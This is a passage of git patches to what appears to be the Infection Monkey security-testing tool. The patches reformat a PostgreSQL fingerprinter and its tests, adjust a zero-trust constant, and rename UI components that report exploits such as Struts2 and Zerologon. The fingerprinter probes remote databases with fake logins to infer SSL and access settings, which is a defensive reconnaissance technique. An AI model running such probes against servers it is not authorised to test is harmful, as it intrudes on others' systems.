''.join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) + + +def test_exception_all_ssl_allowed_selected_non_ssl_allowed(mock_PostgreSQLFinger, host): + exception = _RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed_ssl_off_entry_not_found'] + assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True + + result = mock_PostgreSQLFinger.analyze_operational_error(host, exception) + assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE]['communication_encryption_details'] == ''.join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) + + +def test_exception_selected_ssl_allowed_all_non_ssl_allowed(mock_PostgreSQLFinger, host): + exception = _RELEVANT_EXCEPTION_STRINGS['ssl_on_entry_not_found_pwd_auth_failed'] + assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True + + result = mock_PostgreSQLFinger.analyze_operational_error(host, exception) + assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE]['communication_encryption_details'] == ''.join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) + + +def test_exception_selected_ssl_allowed_selected_non_ssl_allowed(mock_PostgreSQLFinger, host): + exception = _RELEVANT_EXCEPTION_STRINGS['ssl_on_entry_not_found_ssl_off_entry_not_found'] + assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True + + result = mock_PostgreSQLFinger.analyze_operational_error(host, exception) + assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE]['communication_encryption_details'] == ''.join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) From 0b65a07ec48adcd9e719e8d6ad961a003598926a Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 31 Mar 2021 14:50:48 +0530 Subject: [PATCH 0063/1360] Format everything with black --- .../network/postgresql_finger.py | 110 +++++---- .../network/test_postgresql_finger.py | 220 ++++++++++-------- 2 files changed, 192 insertions(+), 138 deletions(-) diff --git a/monkey/infection_monkey/network/postgresql_finger.py b/monkey/infection_monkey/network/postgresql_finger.py index 2bc40261545..4773428069c 100644 --- a/monkey/infection_monkey/network/postgresql_finger.py +++ b/monkey/infection_monkey/network/postgresql_finger.py @@ -13,45 +13,48 @@ class PostgreSQLFinger(HostFinger): """ Fingerprints PostgreSQL databases, only on port 5432 """ + # Class related consts - _SCANNED_SERVICE = 'PostgreSQL' + _SCANNED_SERVICE = "PostgreSQL" POSTGRESQL_DEFAULT_PORT = 5432 - CREDS = {'username': ID_STRING, - 'password': ID_STRING} - CONNECTION_DETAILS =\ - { - 'ssl_conf': "SSL is configured on the PostgreSQL server.\n", - 'ssl_not_conf': "SSL is NOT configured on the PostgreSQL server.\n", - 'all_ssl': "SSL connections can be made by all.\n", - 'all_non_ssl': "Non-SSL connections can be made by all.\n", - 'selected_ssl': "SSL connections can be made by selected hosts only OR " - "non-SSL usage is forced.\n", - 'selected_non_ssl': "Non-SSL connections can be made by selected hosts only OR " - "SSL usage is forced.\n", - 'only_selected': "Only selected hosts can make connections (SSL or non-SSL).\n" - } - RELEVANT_EX_SUBSTRINGS =\ - { - 'no_auth': "password authentication failed", - 'no_entry': "entry for host" # "no pg_hba.conf entry for host" but filename may be diff - } + CREDS = {"username": ID_STRING, "password": ID_STRING} + CONNECTION_DETAILS = { + "ssl_conf": "SSL is configured on the PostgreSQL server.\n", + "ssl_not_conf": "SSL is NOT configured on the PostgreSQL server.\n", + "all_ssl": "SSL connections can be made by all.\n", + "all_non_ssl": "Non-SSL connections can be made by all.\n", + "selected_ssl": "SSL connections can be made by selected hosts only OR " + "non-SSL usage is forced.\n", + "selected_non_ssl": "Non-SSL connections can be made by selected hosts only OR " + "SSL usage is forced.\n", + "only_selected": "Only selected hosts can make connections (SSL or non-SSL).\n", + } + RELEVANT_EX_SUBSTRINGS = { + "no_auth": "password authentication failed", + "no_entry": "entry for host", # "no pg_hba.conf entry for host" but filename may be diff + } def get_host_fingerprint(self, host): try: - psycopg2.connect(host=host.ip_addr, - port=self.POSTGRESQL_DEFAULT_PORT, - user=self.CREDS['username'], - password=self.CREDS['password'], - sslmode='prefer', - connect_timeout=MEDIUM_REQUEST_TIMEOUT) # don't need to worry about DB name; creds are wrong, won't check + psycopg2.connect( + host=host.ip_addr, + port=self.POSTGRESQL_DEFAULT_PORT, + user=self.CREDS["username"], + password=self.CREDS["password"], + sslmode="prefer", + connect_timeout=MEDIUM_REQUEST_TIMEOUT, + ) # don't need to worry about DB name; creds are wrong, won't check # if it comes here, the creds worked # this shouldn't happen since capital letters are not supported in postgres usernames # perhaps the service is a honeypot - self.init_service(host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT) - host.services[self._SCANNED_SERVICE]['communication_encryption_details'] =\ - f'The PostgreSQL server was unexpectedly accessible with the credentials - ' +\ - f"user: \'{self.CREDS['username']}\' and password: \'{self.CREDS['password']}\'. Is this a honeypot?" + self.init_service( + host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT + ) + host.services[self._SCANNED_SERVICE]["communication_encryption_details"] = ( + f"The PostgreSQL server was unexpectedly accessible with the credentials - " + + f"user: '{self.CREDS['username']}' and password: '{self.CREDS['password']}'. Is this a honeypot?" + ) return True except psycopg2.OperationalError as ex: @@ -72,13 +75,18 @@ def get_host_fingerprint(self, host): return False def _is_relevant_exception(self, exception_string): - if not any(substr in exception_string for substr in self.RELEVANT_EX_SUBSTRINGS.values()): + if not any( + substr in exception_string + for substr in self.RELEVANT_EX_SUBSTRINGS.values() + ): # OperationalError due to some other reason - irrelevant exception return False return True def analyze_operational_error(self, host, exception_string): - self.init_service(host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT) + self.init_service( + host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT + ) exceptions = exception_string.split("\n") @@ -90,46 +98,58 @@ def analyze_operational_error(self, host, exception_string): else: # SSL not configured self.get_connection_details_ssl_not_configured(exceptions) - host.services[self._SCANNED_SERVICE]['communication_encryption_details'] = ''.join(self.ssl_connection_details) + host.services[self._SCANNED_SERVICE][ + "communication_encryption_details" + ] = "".join(self.ssl_connection_details) @staticmethod def is_ssl_configured(exceptions): # when trying to authenticate, it checks pg_hba.conf file: # first, for a record where it can connect with SSL and second, without SSL - if len(exceptions) == 1: # SSL not configured on server so only checks for non-SSL record + if ( + len(exceptions) == 1 + ): # SSL not configured on server so only checks for non-SSL record return False elif len(exceptions) == 2: # SSL configured so checks for both return True def get_connection_details_ssl_configured(self, exceptions): - self.ssl_connection_details.append(self.CONNECTION_DETAILS['ssl_conf']) + self.ssl_connection_details.append(self.CONNECTION_DETAILS["ssl_conf"]) ssl_selected_comms_only = False # check exception message for SSL connection if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): - self.ssl_connection_details.append(self.CONNECTION_DETAILS['all_ssl']) + self.ssl_connection_details.append(self.CONNECTION_DETAILS["all_ssl"]) else: - self.ssl_connection_details.append(self.CONNECTION_DETAILS['selected_ssl']) + self.ssl_connection_details.append(self.CONNECTION_DETAILS["selected_ssl"]) ssl_selected_comms_only = True # check exception message for non-SSL connection if self.found_entry_for_host_but_pwd_auth_failed(exceptions[1]): - self.ssl_connection_details.append(self.CONNECTION_DETAILS['all_non_ssl']) + self.ssl_connection_details.append(self.CONNECTION_DETAILS["all_non_ssl"]) else: - if ssl_selected_comms_only: # if only selected SSL allowed and only selected non-SSL allowed - self.ssl_connection_details[-1] = self.CONNECTION_DETAILS['only_selected'] + if ( + ssl_selected_comms_only + ): # if only selected SSL allowed and only selected non-SSL allowed + self.ssl_connection_details[-1] = self.CONNECTION_DETAILS[ + "only_selected" + ] else: - self.ssl_connection_details.append(self.CONNECTION_DETAILS['selected_non_ssl']) + self.ssl_connection_details.append( + self.CONNECTION_DETAILS["selected_non_ssl"] + ) def get_connection_details_ssl_not_configured(self, exceptions): - self.ssl_connection_details.append(self.CONNECTION_DETAILS['ssl_not_conf']) + self.ssl_connection_details.append(self.CONNECTION_DETAILS["ssl_not_conf"]) if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): - self.ssl_connection_details.append(self.CONNECTION_DETAILS['all_non_ssl']) + self.ssl_connection_details.append(self.CONNECTION_DETAILS["all_non_ssl"]) else: - self.ssl_connection_details.append(self.CONNECTION_DETAILS['selected_non_ssl']) + self.ssl_connection_details.append( + self.CONNECTION_DETAILS["selected_non_ssl"] + ) @staticmethod def found_entry_for_host_but_pwd_auth_failed(exception): - if PostgreSQLFinger.RELEVANT_EX_SUBSTRINGS['no_auth'] in exception: + if PostgreSQLFinger.RELEVANT_EX_SUBSTRINGS["no_auth"] in exception: return True # entry found in pg_hba.conf file but password authentication failed return False # entry not found in pg_hba.conf file diff --git a/monkey/infection_monkey/network/test_postgresql_finger.py b/monkey/infection_monkey/network/test_postgresql_finger.py index f0bf5998f38..4cbf7d94f06 100644 --- a/monkey/infection_monkey/network/test_postgresql_finger.py +++ b/monkey/infection_monkey/network/test_postgresql_finger.py @@ -5,83 +5,92 @@ IRRELEVANT_EXCEPTION_STRING = "This is an irrelevant exception string." -_RELEVANT_EXCEPTION_STRING_PARTS =\ - { - 'pwd_auth_failed': 'FATAL: password authentication failed for user "root"', - 'ssl_on_entry_not_found': 'FATAL: no pg_hba.conf entry for host "127.0.0.1",' - 'user "random", database "postgres", SSL on', - 'ssl_off_entry_not_found': 'FATAL: no pg_hba.conf entry for host "127.0.0.1",' - 'user "random", database "postgres", SSL off' - } - -_RELEVANT_EXCEPTION_STRINGS =\ - { - 'pwd_auth_failed': _RELEVANT_EXCEPTION_STRING_PARTS['pwd_auth_failed'], - 'ssl_off_entry_not_found': _RELEVANT_EXCEPTION_STRING_PARTS['ssl_off_entry_not_found'], - 'pwd_auth_failed_pwd_auth_failed': '\n'.join([_RELEVANT_EXCEPTION_STRING_PARTS['pwd_auth_failed'], - _RELEVANT_EXCEPTION_STRING_PARTS['pwd_auth_failed']]), - 'pwd_auth_failed_ssl_off_entry_not_found': '\n'.join([_RELEVANT_EXCEPTION_STRING_PARTS['pwd_auth_failed'], - _RELEVANT_EXCEPTION_STRING_PARTS['ssl_off_entry_not_found']]), - 'ssl_on_entry_not_found_pwd_auth_failed': '\n'.join([_RELEVANT_EXCEPTION_STRING_PARTS['ssl_on_entry_not_found'], - _RELEVANT_EXCEPTION_STRING_PARTS['pwd_auth_failed']]), - 'ssl_on_entry_not_found_ssl_off_entry_not_found': '\n'.join([_RELEVANT_EXCEPTION_STRING_PARTS['ssl_on_entry_not_found'], - _RELEVANT_EXCEPTION_STRING_PARTS['ssl_off_entry_not_found']]) - } - -_RESULT_STRINGS =\ - { - 'ssl_conf': "SSL is configured on the PostgreSQL server.\n", - 'ssl_not_conf': "SSL is NOT configured on the PostgreSQL server.\n", - 'all_ssl': "SSL connections can be made by all.\n", - 'all_non_ssl': "Non-SSL connections can be made by all.\n", - 'selected_ssl': "SSL connections can be made by selected hosts only OR " - "non-SSL usage is forced.\n", - 'selected_non_ssl': "Non-SSL connections can be made by selected hosts only OR " - "SSL usage is forced.\n", - 'only_selected': "Only selected hosts can make connections (SSL or non-SSL).\n" - } - -RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS =\ - { - # SSL not configured, all non-SSL allowed - _RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed']: [ - _RESULT_STRINGS['ssl_not_conf'], - _RESULT_STRINGS['all_non_ssl'] - ], - - # SSL not configured, selected non-SSL allowed - _RELEVANT_EXCEPTION_STRINGS['ssl_off_entry_not_found']: [ - _RESULT_STRINGS['ssl_not_conf'], - _RESULT_STRINGS['selected_non_ssl'] - ], - - # all SSL allowed, all non-SSL allowed - _RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed_pwd_auth_failed']: [ - _RESULT_STRINGS['ssl_conf'], - _RESULT_STRINGS['all_ssl'], - _RESULT_STRINGS['all_non_ssl'] - ], - - # all SSL allowed, selected non-SSL allowed - _RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed_ssl_off_entry_not_found']: [ - _RESULT_STRINGS['ssl_conf'], - _RESULT_STRINGS['all_ssl'], - _RESULT_STRINGS['selected_non_ssl'] - ], - - # selected SSL allowed, all non-SSL allowed - _RELEVANT_EXCEPTION_STRINGS['ssl_on_entry_not_found_pwd_auth_failed']: [ - _RESULT_STRINGS['ssl_conf'], - _RESULT_STRINGS['selected_ssl'], - _RESULT_STRINGS['all_non_ssl'] - ], - - # selected SSL allowed, selected non-SSL allowed - _RELEVANT_EXCEPTION_STRINGS['ssl_on_entry_not_found_ssl_off_entry_not_found']: [ - _RESULT_STRINGS['ssl_conf'], - _RESULT_STRINGS['only_selected'] +_RELEVANT_EXCEPTION_STRING_PARTS = { + "pwd_auth_failed": 'FATAL: password authentication failed for user "root"', + "ssl_on_entry_not_found": 'FATAL: no pg_hba.conf entry for host "127.0.0.1",' + 'user "random", database "postgres", SSL on', + "ssl_off_entry_not_found": 'FATAL: no pg_hba.conf entry for host "127.0.0.1",' + 'user "random", database "postgres", SSL off', +} + +_RELEVANT_EXCEPTION_STRINGS = { + "pwd_auth_failed": _RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"], + "ssl_off_entry_not_found": _RELEVANT_EXCEPTION_STRING_PARTS[ + "ssl_off_entry_not_found" + ], + "pwd_auth_failed_pwd_auth_failed": "\n".join( + [ + _RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"], + _RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"], ] - } + ), + "pwd_auth_failed_ssl_off_entry_not_found": "\n".join( + [ + _RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"], + _RELEVANT_EXCEPTION_STRING_PARTS["ssl_off_entry_not_found"], + ] + ), + "ssl_on_entry_not_found_pwd_auth_failed": "\n".join( + [ + _RELEVANT_EXCEPTION_STRING_PARTS["ssl_on_entry_not_found"], + _RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"], + ] + ), + "ssl_on_entry_not_found_ssl_off_entry_not_found": "\n".join( + [ + _RELEVANT_EXCEPTION_STRING_PARTS["ssl_on_entry_not_found"], + _RELEVANT_EXCEPTION_STRING_PARTS["ssl_off_entry_not_found"], + ] + ), +} + +_RESULT_STRINGS = { + "ssl_conf": "SSL is configured on the PostgreSQL server.\n", + "ssl_not_conf": "SSL is NOT configured on the PostgreSQL server.\n", + "all_ssl": "SSL connections can be made by all.\n", + "all_non_ssl": "Non-SSL connections can be made by all.\n", + "selected_ssl": "SSL connections can be made by selected hosts only OR " + "non-SSL usage is forced.\n", + "selected_non_ssl": "Non-SSL connections can be made by selected hosts only OR " + "SSL usage is forced.\n", + "only_selected": "Only selected hosts can make connections (SSL or non-SSL).\n", +} + +RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS = { + # SSL not configured, all non-SSL allowed + _RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed"]: [ + _RESULT_STRINGS["ssl_not_conf"], + _RESULT_STRINGS["all_non_ssl"], + ], + # SSL not configured, selected non-SSL allowed + _RELEVANT_EXCEPTION_STRINGS["ssl_off_entry_not_found"]: [ + _RESULT_STRINGS["ssl_not_conf"], + _RESULT_STRINGS["selected_non_ssl"], + ], + # all SSL allowed, all non-SSL allowed + _RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed_pwd_auth_failed"]: [ + _RESULT_STRINGS["ssl_conf"], + _RESULT_STRINGS["all_ssl"], + _RESULT_STRINGS["all_non_ssl"], + ], + # all SSL allowed, selected non-SSL allowed + _RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed_ssl_off_entry_not_found"]: [ + _RESULT_STRINGS["ssl_conf"], + _RESULT_STRINGS["all_ssl"], + _RESULT_STRINGS["selected_non_ssl"], + ], + # selected SSL allowed, all non-SSL allowed + _RELEVANT_EXCEPTION_STRINGS["ssl_on_entry_not_found_pwd_auth_failed"]: [ + _RESULT_STRINGS["ssl_conf"], + _RESULT_STRINGS["selected_ssl"], + _RESULT_STRINGS["all_non_ssl"], + ], + # selected SSL allowed, selected non-SSL allowed + _RELEVANT_EXCEPTION_STRINGS["ssl_on_entry_not_found_ssl_off_entry_not_found"]: [ + _RESULT_STRINGS["ssl_conf"], + _RESULT_STRINGS["only_selected"], + ], +} @pytest.fixture @@ -100,52 +109,77 @@ def host(): def test_irrelevant_exception(mock_PostgreSQLFinger): - assert mock_PostgreSQLFinger._is_relevant_exception(IRRELEVANT_EXCEPTION_STRING) is False + assert ( + mock_PostgreSQLFinger._is_relevant_exception(IRRELEVANT_EXCEPTION_STRING) + is False + ) def test_exception_ssl_not_configured_all_non_ssl_allowed(mock_PostgreSQLFinger, host): - exception = _RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed'] + exception = _RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed"] assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True result = mock_PostgreSQLFinger.analyze_operational_error(host, exception) - assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE]['communication_encryption_details'] == ''.join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) + assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][ + "communication_encryption_details" + ] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) -def test_exception_ssl_not_configured_selected_non_ssl_allowed(mock_PostgreSQLFinger, host): - exception = _RELEVANT_EXCEPTION_STRINGS['ssl_off_entry_not_found'] +def test_exception_ssl_not_configured_selected_non_ssl_allowed( + mock_PostgreSQLFinger, host +): + exception = _RELEVANT_EXCEPTION_STRINGS["ssl_off_entry_not_found"] assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True result = mock_PostgreSQLFinger.analyze_operational_error(host, exception) - assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE]['communication_encryption_details'] == ''.join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) + assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][ + "communication_encryption_details" + ] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) def test_exception_all_ssl_allowed_all_non_ssl_allowed(mock_PostgreSQLFinger, host): - exception = _RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed_pwd_auth_failed'] + exception = _RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed_pwd_auth_failed"] assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True result = mock_PostgreSQLFinger.analyze_operational_error(host, exception) - assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE]['communication_encryption_details'] == ''.join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) + assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][ + "communication_encryption_details" + ] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) -def test_exception_all_ssl_allowed_selected_non_ssl_allowed(mock_PostgreSQLFinger, host): - exception = _RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed_ssl_off_entry_not_found'] +def test_exception_all_ssl_allowed_selected_non_ssl_allowed( + mock_PostgreSQLFinger, host +): + exception = _RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed_ssl_off_entry_not_found"] assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True result = mock_PostgreSQLFinger.analyze_operational_error(host, exception) - assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE]['communication_encryption_details'] == ''.join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) + assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][ + "communication_encryption_details" + ] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) -def test_exception_selected_ssl_allowed_all_non_ssl_allowed(mock_PostgreSQLFinger, host): - exception = _RELEVANT_EXCEPTION_STRINGS['ssl_on_entry_not_found_pwd_auth_failed'] +def test_exception_selected_ssl_allowed_all_non_ssl_allowed( + mock_PostgreSQLFinger, host +): + exception = _RELEVANT_EXCEPTION_STRINGS["ssl_on_entry_not_found_pwd_auth_failed"] assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True result = mock_PostgreSQLFinger.analyze_operational_error(host, exception) - assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE]['communication_encryption_details'] == ''.join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) + assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][ + "communication_encryption_details" + ] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) -def test_exception_selected_ssl_allowed_selected_non_ssl_allowed(mock_PostgreSQLFinger, host): - exception = _RELEVANT_EXCEPTION_STRINGS['ssl_on_entry_not_found_ssl_off_entry_not_found'] +def test_exception_selected_ssl_allowed_selected_non_ssl_allowed( + mock_PostgreSQLFinger, host +): + exception = _RELEVANT_EXCEPTION_STRINGS[ + "ssl_on_entry_not_found_ssl_off_entry_not_found" + ] assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True result = mock_PostgreSQLFinger.analyze_operational_error(host, exception) - assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE]['communication_encryption_details'] == ''.join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) + assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][ + "communication_encryption_details" + ] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) From edb669d00ee802e5d82eb844e18bc3e5aa4aa9d7 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 31 Mar 2021 15:23:04 +0530 Subject: [PATCH 0064/1360] Pass tests --- monkey/common/common_consts/zero_trust_consts.py | 2 +- monkey/infection_monkey/network/postgresql_finger.py | 2 +- .../network/test_postgresql_finger.py | 12 ++++++------ 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/common/common_consts/zero_trust_consts.py b/monkey/common/common_consts/zero_trust_consts.py index c257c627ce7..e6a6b29c5d3 100644 --- a/monkey/common/common_consts/zero_trust_consts.py +++ b/monkey/common/common_consts/zero_trust_consts.py @@ -174,7 +174,7 @@ STATUS_PASSED: "Monkey didn't find open PostgreSQL servers. If you have such servers, look for alerts that " "indicate attempts to access them. " }, - PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT, + PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, PILLARS_KEY: [DATA], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, diff --git a/monkey/infection_monkey/network/postgresql_finger.py b/monkey/infection_monkey/network/postgresql_finger.py index 4773428069c..031765dd845 100644 --- a/monkey/infection_monkey/network/postgresql_finger.py +++ b/monkey/infection_monkey/network/postgresql_finger.py @@ -52,7 +52,7 @@ def get_host_fingerprint(self, host): host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT ) host.services[self._SCANNED_SERVICE]["communication_encryption_details"] = ( - f"The PostgreSQL server was unexpectedly accessible with the credentials - " + "The PostgreSQL server was unexpectedly accessible with the credentials - " + f"user: '{self.CREDS['username']}' and password: '{self.CREDS['password']}'. Is this a honeypot?" ) return True diff --git a/monkey/infection_monkey/network/test_postgresql_finger.py b/monkey/infection_monkey/network/test_postgresql_finger.py index 4cbf7d94f06..6eb01fecd67 100644 --- a/monkey/infection_monkey/network/test_postgresql_finger.py +++ b/monkey/infection_monkey/network/test_postgresql_finger.py @@ -119,7 +119,7 @@ def test_exception_ssl_not_configured_all_non_ssl_allowed(mock_PostgreSQLFinger, exception = _RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed"] assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True - result = mock_PostgreSQLFinger.analyze_operational_error(host, exception) + mock_PostgreSQLFinger.analyze_operational_error(host, exception) assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][ "communication_encryption_details" ] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) @@ -131,7 +131,7 @@ def test_exception_ssl_not_configured_selected_non_ssl_allowed( exception = _RELEVANT_EXCEPTION_STRINGS["ssl_off_entry_not_found"] assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True - result = mock_PostgreSQLFinger.analyze_operational_error(host, exception) + mock_PostgreSQLFinger.analyze_operational_error(host, exception) assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][ "communication_encryption_details" ] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) @@ -141,7 +141,7 @@ def test_exception_all_ssl_allowed_all_non_ssl_allowed(mock_PostgreSQLFinger, ho exception = _RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed_pwd_auth_failed"] assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True - result = mock_PostgreSQLFinger.analyze_operational_error(host, exception) + mock_PostgreSQLFinger.analyze_operational_error(host, exception) assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][ "communication_encryption_details" ] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) @@ -153,7 +153,7 @@ def test_exception_all_ssl_allowed_selected_non_ssl_allowed( exception = _RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed_ssl_off_entry_not_found"] assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True - result = mock_PostgreSQLFinger.analyze_operational_error(host, exception) + mock_PostgreSQLFinger.analyze_operational_error(host, exception) assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][ "communication_encryption_details" ] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) @@ -165,7 +165,7 @@ def test_exception_selected_ssl_allowed_all_non_ssl_allowed( exception = _RELEVANT_EXCEPTION_STRINGS["ssl_on_entry_not_found_pwd_auth_failed"] assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True - result = mock_PostgreSQLFinger.analyze_operational_error(host, exception) + mock_PostgreSQLFinger.analyze_operational_error(host, exception) assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][ "communication_encryption_details" ] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) @@ -179,7 +179,7 @@ def test_exception_selected_ssl_allowed_selected_non_ssl_allowed( ] assert mock_PostgreSQLFinger._is_relevant_exception(exception) is True - result = mock_PostgreSQLFinger.analyze_operational_error(host, exception) + mock_PostgreSQLFinger.analyze_operational_error(host, exception) assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][ "communication_encryption_details" ] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception]) From 54f1d0e49c5c8e97b8652b5b3ce1de8e1c6ff16c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 31 Mar 2021 13:07:19 +0300 Subject: [PATCH 0065/1360] Made naming of issue methods in UI more consistent --- .../report-components/SecurityReport.js | 132 +++++++++--------- .../security/issues/AzurePasswordIssue.js | 4 +- .../security/issues/CrossSegmentIssue.js | 20 +-- .../security/issues/DrupalIssue.js | 4 +- .../security/issues/ElasticIssue.js | 4 +- .../security/issues/HadoopIssue.js | 4 +- .../security/issues/MS08_067Issue.js | 4 +- .../security/issues/MssqlIssue.js | 4 +- .../issues/PthCriticalServiceIssue.js | 2 +- .../security/issues/SambacryIssue.js | 4 +- .../security/issues/SharedPasswordsIssue.js | 6 +- .../security/issues/ShellShockIssue.js | 8 +- .../security/issues/SmbIssue.js | 4 +- .../security/issues/SshIssue.js | 6 +- .../security/issues/StolenCredsIssue.js | 2 +- .../security/issues/StrongUsersOnCritIssue.js | 2 +- .../security/issues/Struts2Issue.js | 4 +- .../security/issues/TunnelIssue.js | 4 +- .../security/issues/VsftpdIssue.js | 4 +- .../security/issues/WeakPasswordIssue.js | 2 +- .../security/issues/WebLogicIssue.js | 4 +- .../security/issues/WmiIssue.js | 4 +- .../security/issues/ZerologonIssue.js | 8 +- 23 files changed, 120 insertions(+), 120 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 9ac409e8e01..364e77b7702 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -18,38 +18,38 @@ import {faMinus} from '@fortawesome/free-solid-svg-icons/faMinus'; import guardicoreLogoImage from '../../images/guardicore-logo.png' import {faExclamationTriangle} from '@fortawesome/free-solid-svg-icons'; import '../../styles/App.css'; -import {generateSmbPasswordReport, generateSmbPthReport} from './security/issues/SmbIssue'; -import {Struts2IssueOverview, Struts2IssueReport} from './security/issues/Struts2Issue'; -import {WebLogicIssueOverview, WebLogicIssueReport} from './security/issues/WebLogicIssue'; -import {HadoopIssueOverview, HadoopIssueReport} from './security/issues/HadoopIssue'; -import {MssqlIssueOverview, MssqlIssueReport} from './security/issues/MssqlIssue'; -import {DrupalIssueOverview, DrupalIssueReport} from './security/issues/DrupalIssue'; -import {VsftpdIssueOverview, VsftpdIssueReport} from './security/issues/VsftpdIssue'; -import {generateWmiPasswordIssue, generateWmiPthIssue} from './security/issues/WmiIssue'; -import {generateSshKeysReport, ShhIssueReport, SshIssueOverview} from './security/issues/SshIssue'; -import {SambacryIssueOverview, SambacryIssueReport} from './security/issues/SambacryIssue'; -import {ElasticIssueOverview, ElasticIssueReport} from './security/issues/ElasticIssue'; -import {ShellShockIssueOverview, ShellShockIssueReport} from './security/issues/ShellShockIssue'; -import {MS08_067IssueOverview, MS08_067IssueReport} from './security/issues/MS08_067Issue'; +import {smbPasswordReport, smbPthReport} from './security/issues/SmbIssue'; +import {struts2IssueOverview, struts2IssueReport} from 